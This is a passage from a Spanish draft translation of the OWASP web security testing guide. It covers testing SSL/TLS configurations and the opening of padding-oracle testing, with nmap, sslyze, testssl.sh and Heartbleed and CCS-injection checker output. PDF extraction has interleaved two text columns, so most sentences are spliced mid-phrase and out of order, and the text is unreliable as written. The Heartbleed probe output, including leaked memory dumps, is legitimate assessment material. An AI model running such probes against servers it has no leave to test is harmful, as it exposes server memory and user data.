de ver. Un sistema puede albergar un número de hosts virtuales basados en el
nombre, que comparten la misma dirección IP y se identifican mediante el HTTP
1.1 Host: header information. En este caso, puesto que el protocolo de enlace
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del
SSL comprueba el certificado del servidor antes de que se procese la petición
certificado digital del servidor.
HTTP, no es posible asignar certificados diferentes a cada servidor virtual. Por
lo tanto, si el nombre del sitio y el nombre registrado en el certificado no
coinciden, tenemos una condición que típicamente se señala por parte del
navegador. Para evitar esto, deben utilizarse servidores virtuales basados en IP.
Para que la comunicación se establezca, se debe pasar una serie de controles
[33] y [34] describen técnicas para lidiar con este problema y permitir que los
sobre los certificados. Aunque hablar de la autenticación basada en SSL y
hosts virtuales basados en el nombre estén correctamente referenciados.
certificados está más allá del alcance de esta guía, esta sección se centrará en
los principales criterios involucrados en determinar la validez del certificado:
Otras vulnerabilidades
• Compruebe si la autoridad de certificación (CA) es conocida (es decir, una que
La presencia de un nuevo servicio, que escucha en un puerto tcp separado, puede
se considera de confianza);
generar vulnerabilidades tales como las de infraestructura si el software no está
actualizado [4]. Además, para la correcta protección de datos durante la
• Compruebe que el certificado es válido;
transmisión, la Cookie de sesión debe usar la bandera de seguridad [5] y algunas
directivas deben enviarse al navegador para aceptar sólo tráfico seguro (HSTS
• Compruebe que el nombre del sitio y el nombre registrado en el certificado
[6], CSP).
concuerden.
También hay algunos ataques que pueden utilizarse para interceptar el tráfico si
Vamos a examinar cada comprobación más detalladamente.
el servidor web expone la solicitud HTTP y HTTPS [6], [7] o en el caso de
recursos HTTP y HTTPS mezclados en la misma página.
Cómo probar Al momento de escribir este documento, estos criterios son ampliamente
reconocidos como una lista de verificación mínima:
Prueba de transmisión de datos sensibles en texto claro
Ejemplo 1. Autenticación básica en HTTP • La renegociación debe estar configurada correctamente (por ejemplo: Insecure
Renegotiation debe desactivarse, debido a ataques MiTM [12] y las
Un ejemplo típico es el uso de autenticación básica en HTTP porque con la renegociaciones iniciadas por el cliente deben desactivarse, debido a la
autenticación básica, después de iniciar sesión, las credenciales son vulnerabilidad de Negación de Servicio [13]).
codificadas - y no cifradas - en las cabeceras HTTP.
• No deben haber suites de nivel de cifrado Export (EXP), debido a que puede ser
$ curl -kis http://example.com/restricted/ fácilmente roto [10].
HTTP/1.1 401 Authorization Required • La longuitud de claves de los certificados X.509 deben ser fuertes (por ejemplo si
se utiliza RSA o DSA la clave debe ser de al menos 2048 bits).
Date: Fri, 01 Aug 2013 00:00:00 GMT
• Los certificados X.509 deben firmarse únicamente con algoritmos de hashing
WWW-Authenticate: Basic realm=”Restricted Area” seguros (por ejemplo. sin firma al usar MD5 hash, debido a a ataques de colisión
en este hash).
Accept-Ranges: bytes
• Las claves deben generarse con la correcta entropía (e.g, Claves débiles generadas
Vary: Accept-Encoding con Debian) [14].
Content-Length: 162
<body bgcolor=white> • MD5 no debe usarse, debido a los ataques de colisión conocidos. [35]
<h1>401 Authorization Required</h1> • RC4 no debe usarse, debido a los ataques cripto-analíticos [15].
• PCI-DSS v2.0 en el punto 4.1 requiere que las partes compatibles utilicen
La gran cantidad de suites de cifrado disponible y el rápido progreso en
«criptografía fuerte» sin definir precisamente los algoritmos y longitudes de las
criptoanálisis hacen de las pruebas del servidor SSL una tarea nada trivial.
claves. La interpretación común, basada parcialmente en las versiones anteriores de
la norma, es que el cifrado de la clave sea de al menos 128 bits, sin algoritmos de 22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
exportación fuertes y sin usar SSLv2 [19].
25/tcp open smtp syn-ack Exim smtpd 4.80
• Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] y
SSL Threat Model [20] han sido propuestos para estandarizar la configuración y 26/tcp open smtp syn-ack Exim smtpd 4.80
evaluación de servidor SSL. Pero está menos actualizada que SSL Server tool [21].
80/tcp open http syn-ack
• OWASP tiene un gran cantidad de recursos para SSL/TLS Security [22], [23],
[24], [25]. [26]. 110/tcp open pop3 syn-ack Dovecot pop3d
Algunas herramientas y escáneres tanto libres (por ejemplo SSLAudit [28] o 143/tcp open imap syn-ack Dovecot imapd
SSLScan [29]) como comerciales (por ejemplo Tenable Nessus [27]), pueden
utilizarse para evaluar las vulnerabilidades SSL/TLS. Pero debido a la evolución de 443/tcp open ssl/http syn-ack Apache
estas vulnerabilidades, una buena manera de probar es comprobar manualmente
con openssl [30] o utilice las herramientas de salida como ingreso para la 465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
evaluación manual usando las referencias.
993/tcp open ssl/imap syn-ack Dovecot imapd
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com Host is up (0.090s latency).
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST rDNS record for 127.0.0.1: www.example.com
| ciphers: | compressors:
| ciphers: | compressors:
| ciphers: | compressors:
| TLS_RSA_WITH_RC4_128_SHA - strong Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
| compressors:
| ssl-enum-ciphers: ---
| ciphers: 0 s:******
| compressors: 2 s:******
| NULL i:******
Server certificate
-----BEGIN CERTIFICATE----- Ahora el evaluador puede escribir la primera línea de una solicitud HTTP y
luego R en una nueva línea.
******
HEAD / HTTP/1.1
-----END CERTIFICATE-----
R
subject=******
issuer=******
El servidor renegocia
---
RENEGOTIATING
No client certificate CA names sent
depth=2 C******
---
verify error:num=20:unable to get local issuer certificate
SSL handshake has read 3558 bytes and written 640 bytes
verify return:0
---
HEAD / HTTP/1.1
Compression: NONE
Expansion: NONE
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource
SSL-Session:
Locator (URL). Contact the server administrator. )
Protocol : TLSv1
Connection: close
Cipher : DES-CBC3-SHA
Pragma: no-cache
Session-ID: ******
Cache-Control: no-cache
Session-ID-ctx:
Content-Type: text/html
Master-Key: ******
Content-Length: 1792
Key-Arg : None
Against SSL/TLS) aprovecha una vulnerabilidad de CBC en TLS 1.0. CRIME DHE_RSA_WITH_3DES_EDE_CBC_SHA
(Compression Ratio Info-leak Made Easy) explota una vulnerabilidad de la
compresión de TLS, que debe deshabilitarse. Lo interesante es que la primera RSA_WITH_AES_128_CBC_SHA
solución para BEAST era el uso de RC4, pero esto ahora no es aconsejable debido
a los ataque criptoanalíticos a RC4 [15]. DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
Una herramienta en línea para comprobar estos ataques es SSL Labs, pero puede DHE_RSA_WITH_AES_256_CBC_SHA
ser utilizada sólo con servidores de internet. También tome en cuenta que los datos
que se buscan se almacenarán en el servidor SSL Labs y también resultará alguna RSA_WITH_AES_128_CBC_SHA256
conexión de servidor de SSL Labs [21].
RSA_WITH_AES_256_CBC_SHA256
$ java -jar TestSSLServer.jar www3.example.com 443
RSA_WITH_CAMELLIA_128_CBC_SHA
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
Deflate compression: no
DHE_RSA_WITH_AES_128_CBC_SHA256
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
DHE_RSA_WITH_AES_256_CBC_SHA256
SSLv3
RSA_WITH_CAMELLIA_256_CBC_SHA
RSA_WITH_RC4_128_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_GCM_SHA384
RSA_WITH_AES_256_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
RSA_WITH_CAMELLIA_128_CBC_SHA
----------------------
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
Server certificate(s):
RSA_WITH_CAMELLIA_256_CBC_SHA
******
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
----------------------
TLS_RSA_WITH_SEED_CBC_SHA
Minimal encryption strength: strong encryption (96-bit or more)
TLS_DHE_RSA_WITH_SEED_CBC_SHA
Achievable encryption strength: strong encryption (96-bit or more)
(TLSv1.0: idem)
BEAST status: vulnerable
(TLSv1.1: idem)
CRIME status: protected
TLSv1.2
RSA_WITH_RC4_128_SHA
Ejemplo 6. Prueba de vulnerabilidades SSL/TLS con sslyze
RSA_WITH_3DES_EDE_CBC_SHA
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
255
Guia de pruebas 4.0 "Borrador"
Sslyze [33] es un python script que permite el escaneo masivo y resultados XML. Client-initiated Renegotiations: Rejected
El siguiente es un ejemplo de un escaneo normal. Es una de las herramientas más
completas y versátiles para SSL/TLS testing Secure Renegotiation: Supported
* Certificate :
REGISTERING AVAILABLE PLUGINS Validation w/ Mozilla’s CA Store: Certificate is NOT Trusted: unable to
get local issuer certificate
-----------------------------
Hostname Validation: MISMATCH
PluginSessionRenegotiation
Common Name: www.example.com
PluginCertInfo
Issuer: ******
PluginSessionResumption
Serial Number: ****
PluginOpenSSLCipherSuites
Not Before: Sep 26 00:00:00 2010 GMT
PluginCompression
Not After: Sep 26 23:59:59 2020 GMT
* OCSP Stapling :
* Session Renegotiation :
------------------------
SSLv2 NOT offered (ok)
SSLv3 offered
Ejemplo 7. Prueba SSL/TLS con testssl.sh
TLSv1 offered (ok)
Testssl.sh [38] es un shell script de Linux que proporciona un resultado claro para
facilitar la toma de decisiones. No solo puede revisar servidores web, pero también TLSv1.1 offered (ok)
servicios en otros puertos, soporta STARTTLS, SNI, SPDY y realiza algunas
revisiones en los encabezados HTTP también. TLSv1.2 offered (ok)
Es una herramienta muy fácil de usar. A continuación verá algunos ejemplos de SPDY/NPN not offered
resultados (sin colores):
########################################################
Null Cipher NOT offered (ok)
testssl.sh v2.0rc3 (https://testssl.sh)
Anonymous NULL Cipher NOT offered (ok)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)
Anonymous DH Cipher NOT offered (ok)
USO SIN NINGUNA GARANTIA. USELO BAJO SU PROPIO RIESGO! Export Cipher (general) NOT offered (ok)
Note que solo puede revisar el servidor comparandolo con lo que está DES Cipher NOT offered (ok)
disponible (codificadores/protocolos) localmente en su maquina
Triple DES Cipher offered
########################################################
Medium grade encryption offered
“myhost:/<mypath>/bin/openssl64”
--> Probando el servidor por defecto (Server Hello)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
258
Guia de pruebas 4.0 "Borrador"
no PFS available
TLS server extensions: server name, renegotiation info, session ticket, Done now (2014-04-17 15:07) ---> owasp.org:443 <---
heartbeat
El RC4 parece generalmente disponible. Ahora pruebe cifrados específicos... Además, proporciona un prototipo (vía "testssl.sh -V") del mapeo de nombres
de suites de cifrado RFC a OpenSSL. El evaluador necesita el archivo
mapping-rfc.txt en el mismo directorio.
[0x05] RC4-SHA RSA RC4 128 Esta herramienta [99] es una combinación de varias herramientas con algunas
comprobaciones adicionales para complementar y hacer a las pruebas más
completas SSL. Soporta los siguientes controles:
• HeartBleed
• ChangeCipherSpec Injection
--> Probando respuestas de encabezados HTTP
• BREACH
• BEAST
HSTS no
• Forward Secrecy support
Server Apache
• RC4 support
Application (None)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
259
Guia de pruebas 4.0 "Borrador"
• CRIME & TIME (si se detecta CRIME, también se reporta TIME) Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
• HSTS: Duración razonable de MAX-AGE Public key: Sun RSA public key, 1024 bits
• HTTPS Stripping
• Cache-Control =====================================
Certificate Validation:
===============================
Host Info: [!] Signed using Insufficient public key length 1024 bits
Host : localhost [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java
ROOT CAs.
Port : 443
Path : /login.php
=====================================
Certificate Info:
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...
==================
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes are removed):
[-] Closing connection
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.0
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.0
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:. [-] Displaying response (lines consisting entirely of null bytes are removed):
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over TLSv1.1
[-] Displaying response (lines consisting entirely of null bytes are removed):
[-] Closing connection
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.2
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.2
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
262
Guia de pruebas 4.0 "Borrador"
[-] Displaying response (lines consisting entirely of null bytes are removed):
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
=====================================
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
Loading module: CCS Injection script by TripWire VERT ...
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m............. (CVE-2014-0224) ...
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. [!] The target may allow early CCS on TLSv1.2
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. [!] The target may allow early CCS on TLSv1.1
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. [!] The target may allow early CCS on TLSv1
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. [!] The target may allow early CCS on SSLv3
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. [-] This is an experimental detection script and does not definitively determine
vulnerable server status.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
=====================================
[*] HTTP Compression: DISABLED
HTTP/1.1 200 OK
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 --------------- RAW HTTP RESPONSE ---------------
X-Powered-By: PHP/5.4.7
</head>
<body> <html>
<body> =====================================
<script src=”http://othersite/test.js”></script>
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive
information will be leaked.
=====================================
[!] Vulnerability Status: VULNERABLE
Checking localhost for HTTP support against HTTPS Stripping attack ...
-------------------------------------------------
[!] HTTP Support on port [80] : SUPPORTED
- Ref:
https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-
===================================== AUTHN-006)
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx
=====================================
[!] Vulnerable to MITM malicious content injection attack Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie
missing secure flag) ...
[!] Vulnerability Status: VULNERABLE
--------------- RAW HTTP RESPONSE --------------- [!] Vulnerable to MITM attack described in
HTTP/1.1 200 OK
X-Powered-By: PHP/5.4.7
Content-Length: 193
Content-Type: text/html
=====================================
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY [*] Immune from BEAST attack mentioned in
support ... http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have
compromised private keys. =====================================
=====================================
https://www.thc.org/thc-ssl-dos/ TLS_ECDH_anon_WITH_RC4_128_SHA
TLS_ECDH_anon_WITH_AES_256_CBC_SHA
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - (TLSv1.2: same as above)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
=====================================
[*] SSL version 2 : NOT SUPPORTED
TLS_RSA_WITH_AES_256_GCM_SHA384
Supported LANE cipher suites:
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
SSLv3
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
RSA_EXPORT_WITH_RC4_40_MD5
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
RSA_EXPORT_WITH_RC2_CBC_40_MD5
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
[*] GCM/CCM ciphers : SUPPORTED
DHE_RSA_WITH_DES_CBC_SHA
[*] Immune from Lucky13 attack mentioned in
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
267
Guia de pruebas 4.0 "Borrador"
http://www.isg.rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No Estos controles deben aplicarse a todos los canales de comunicación SSL-
wrapped visibles utilizados por la aplicación. Aunque este es el servicio https
que generalmente se ejecuta en el puerto 443, puede haber servicios
adicionales involucrados dependiendo de la arquitectura de las aplicaciones
===================================== web y de los problemas de implementación (si queda un puerto HTTPS
administrativo abierto, servicios HTTPS en puertos no estándar, etc.).
Haga clic sobre el candado que aparece en la ventana del navegador cuando
visita un sitio HTTPS; los evaluadores pueden consultar información
relacionada con el certificado que incluye al emisor, el período de validez, las
características de cifrado, etc.
El mensaje emitido por Firefox es diferente. Firefox se queja porque no puede • La victima se registra en una página web segura https://somesecuresite/.
determinar la identidad del sitio .com al que el certificado se refiere porque no
conoce la CA que firmó el certificado. • La página web segura emite una cookie de sesión cuando el cliente se
conecta.
Advertencia emitida por Mozilla Firefox [1] Revise si el sitio web soporta protocolos HTTP y HTTPS.
Como se mencionó anteriormente, existen otros tipos de vulnerabilidades que SSL Strip
no están relacionadas con el protocolo SSL/TLS utilizado, las suites de cifrado
o certificados. Algunas aplicaciones soportan HTTP y HTTPS, ya sea por el uso o porque lo
usuarios pueden escribir ambas direcciones y acceder al sitio. A menudo los
usuarios entran en un sitio web de HTTPS por un enlace o una redirección.
El siguiente es un escenario de cómo puede ocurrir el ataque: Pruebe mediante un proxy HTTP
Dentro de entornos corporativos, los evaluadores pueden ver los servicios que
no son directamente accesibles y pueden acceder a ellos a través del proxy
HTTP mediante el método CONNECT [36]. Ejemplo 10: Apache
La mayoría de las herramientas no funcionan en este escenario porque tratan web Apache2, abra el archivo ssl.conf y busque las directivas
de conectarse al puerto tcp deseado para iniciar el protocolo de conexión SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,
SSL/TLS. Con la ayuda de software de reinstalación como socat, [37] los SSLInsecureRenegotiation y SSLCompression.
probadores pueden activar esas herramientas para usarlas con los servicios
detrás de una proxy HTTP.
Ejemplo 8. Pruebe mediante un proxy HTTP Examine la validez de los certificados utilizados por la aplicación a nivel de
cliente y servidor. El uso de los certificados es principalmente a nivel del
Para conectarse con destined.application.lan:443 mediante un proxy servidor web, sin embargo, puede haber rutas de comunicación protegidas por
10.13.37.100:3128 ejecute socat como sigue: SSL (por ejemplo, hacia el DBMS). Los evaluadores deben revisar la
arquitectura de las aplicaciones para identificar todos los canales SSL
$ socat TCP-LISTEN:9999,reuseaddr,fork protegido.
PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
Herramientas
Entonces el evaluador puede apuntar todas las demás herramientas hacia
localhost:9999: • [21][Qualys SSL Labs - SSL Server Test: ssllabs.com
$ openssl s_client -connect localhost:9999 • [27] [Tenable - Nessus Vulnerability Scanner tenable.com: incluye algunos
plugins para probar diferentes vulnerabilidades relacionadas con SSL,
certificados y la presencia de autenticación HTTP básica sin SSL.
Todas las conexiones a localhost:9999 serán efectivamente retransmitidas por • [32] [TestSSLServer: bolet.org]: un scanner java - y también un ejecutable
socat mediante un proxy hacia destined.application.lan:443. de windows - incluye pruebas para suites de cifrado, CRIME y BEAST
Compruebe la configuración de los servidores web que ofrecen servicios de • [29] [SSLScan | sourceforge.net [SSL Tests | pentesterscripting.com l_tests]:
https. Si la aplicación web proporciona otros servicios SSL/TLS wrapped, un SSL Scanner y un wrapper para enumerar las vulnerabilidades SSL.
éstos deben comprobarse también.
• [31] [nmap | nmap.org]: puede ser utilizado primeramente para identificar
servicios basados en SSL y luego verificar el certificado y vulnerabilidades
SSL/TLS. Particularmente tiene algunos scripts para revisar [Certificate and
Ejemplo 9. Windows Server SSLv2 | nmap.org] y [SSL/TLS protocols/ciphers | nmap.org] soportados con
un rango interno.
Revise la configuración en Microsoft Windows Server (2000, 2003 y 2008)
usando la clave de registro: • [30] [curl | curl.haxx.se] y [openssl | openssl.org]: pueden ser usados para
consultas manuales de servicios SSL/TLS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityPr
oviders\SCHANNEL\ • [9] [Stunnel | stunnel.org]: una clase notable de clientes SSL es aquella de
los proxies SSL como stunnel que puede utilizarse para permitir que
herramientas activas de no SSL se comuniquen con los servicios SSL)
que tiene algunas subclaves como cifras, protocolos y • [37] [socat | dest-unreach.org]: relay multipropósito
KeyExchangeAlgorithms.
• [38] [testssl.sh | testssl.sh ] • [14] [Qualys SSL Labs - SSL Server Rating Guide | ssllabs.com]
• [4][ Guía de pruebas OWASP - Pruebe la configuración de la infraestructura • [16] [Qualys SSL Labs - BEAST | community.qualys.com]
y la red (OTG-CONFIG-001) | owasp.org]
• [17] [Qualys SSL Labs - CRIME | community.qualys.com]
• [6] [Guía de pruebas OWASP - Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007) | owasp.org] • [7] [SurfJacking attack|resources.enablesecurity.com]
• [2] [Guía de pruebas OWASP - Pruebas para el envío de información • [8] [SSLStrip attack | thoughtcrime.org]
sensible por canales sin encriptar (OTG-CRYPST-003) | owasp.org]
• [19] [PCI-DSS v2.0 | pcisecuritystandards.org]
• [3] [Guía de pruebas OWASP - Pruebas del transporte de credenciales en un
canal encriptado (OTG-AUTHN-001) | owasp.org] • [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash
Functions| springer.com]
• [22] [OWASP Cheat sheet - Transport Layer Protection |
owasp.org ]
Prueba del Padding Oracle (Relleno de Oracle)(OTG-CRYPST-002)
• [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure |owasp.org]
Resumen
• [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection |
owasp.org] Un padding oracle es una función de la aplicación que decodifica datos
encriptados que proporciona el cliente, por ejemplo, estado de sesión interna
• [25] [OWASP ASVS 2009 - Verification 10 | code.google.com] almacenado en el cliente y fuga el estado de la validez del padding después de
descifrado.
• [26] [OWASP Application Security FAQ - Cryptography/SSL | owasp.org]
ietf.org]
• [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|] Los bloques de cifrado encriptan los datos en bloques de tamaños
determinados. Los tamaños de bloque utilizados por los cifradores comunes
• [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension son de 8 y 16 bytes. Los datos cuyo tamaño no coincide con un múltiplo del
Definitions | ietf.org] tamaño del bloque de cifrado usado, tienen que rellenarse de una forma
específica para que el decodificador pueda eliminar el padding. Un esquema
• [11] [SSLv2 Protocol Multiple Weaknesses | osvdb.org] común de padding utilizado es PKCS #7. Llena los bytes restantes con el valor
de la longitud del padding.
• [12] [Mitre - TLS Renegotiation MiTM | cve.mitre.org]
Si el padding tiene la longitud de 5 bytes, el valor del byte 0 x 05 se repite Primero deben identificarse los puntos de entrada posibles para los padding
cinco veces después del texto. oracles. Generalmente deben cumplirse las siguientes condiciones:
Una condición de error está presente si el padding no coincide con la sintaxis [1] Los datos están codificados. Son buenos candidatos los valores que
del esquema de padding usado. Un padding oracle está presente si una parecen aleatorios.
aplicación filtra esta condición de error de padding específico para datos
cifrados proporcionados por el cliente. [2] Se utiliza un cifrado de bloque. La longitud del texto cifrado decodificado
(Base64 se utiliza a menudo); es un múltiplo de los tamaños de bloque de
cifrado comunes como 8 o 16 bytes. Los diferentes textos de cifrado (por
ejemplo, reunidos en diferentes sesiones o manipulando el estado de la sesión)
Esto puede ocurrir exponiendo las excepciones (e.g. BadPaddingException en comparten un divisor común en la longitud.
Java) directamente, por diferencias sutiles en las respuestas enviadas al cliente
o por otro canal lateral como comportamiento de sincronización.
Ejemplo:
Ciertos modos de operación criptográfica permiten ataques de bit-flipping, Dg6W8OiWMIdVokIDH15T/A== resulta despues de decodificar Base64 en
donde voltear un bit en el texto de cifrado hace que el bit también se voltee en 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. Esto parece ser aleatorio y
el texto simple. con una longitud de 16 bytes.
Voltear un bit en el enesimo bloque en los datos encriptados de CBC causa Si se identifica un valor ingresado que es un buen candidato, debe verificarse
que el mismo bit en el (enesimo+1) bloque se voltee en los datos descifrados. el comportamiento de la aplicación con la manipulación del valor codificado
El enesimo bloque del texto cifrado que se decodifica es inhabilitado con esta en referencia al bit.
manipulación.
Un ataque de padding oracle también permite a un atacante cifrar textos Si se sabe que la cadena cifrada es un solo bloque (el IV se almacena en el
arbitrarios simples sin el conocimiento de la clave usada y el cifrado. Si la servidor o la aplicación está utilizando una mala práctica de codificado de IV),
aplicación asume como correcta la integridad y autenticidad de los datos varios cambios de bits deben realizarse en turnos. Un enfoque alternativo sería
descifrados, un atacante podría ser capaz de manipular el estado de sesión anteponer un bloque al azar y cambiar bits para hacer que el último byte del
interna y posiblemente obtener mayores privilegios. bloque añadido tome todos los valores posibles (0 a 255).
Cómo probar Las pruebas y el valor base deben causar al menos tres diferentes estados
durante y después del descifrado:
Pruebas de Caja Negra
• Se consigue descifrar el texto cifrado, los datos resultantes son confusos y [1] La integridad del texto cifrado debe ser verificada por un mecanismo
causan algunas excepciones y errores de manejo en la lógica de la aplicación. seguro, como HMAC o con formas de autenticar la operación de cifrado como
GCM o CCM.
Compare las respuestas con cuidado. Busque sobre todo las excepciones y los
mensajes que indican que algo está mal con el padding. Si aparecen estos
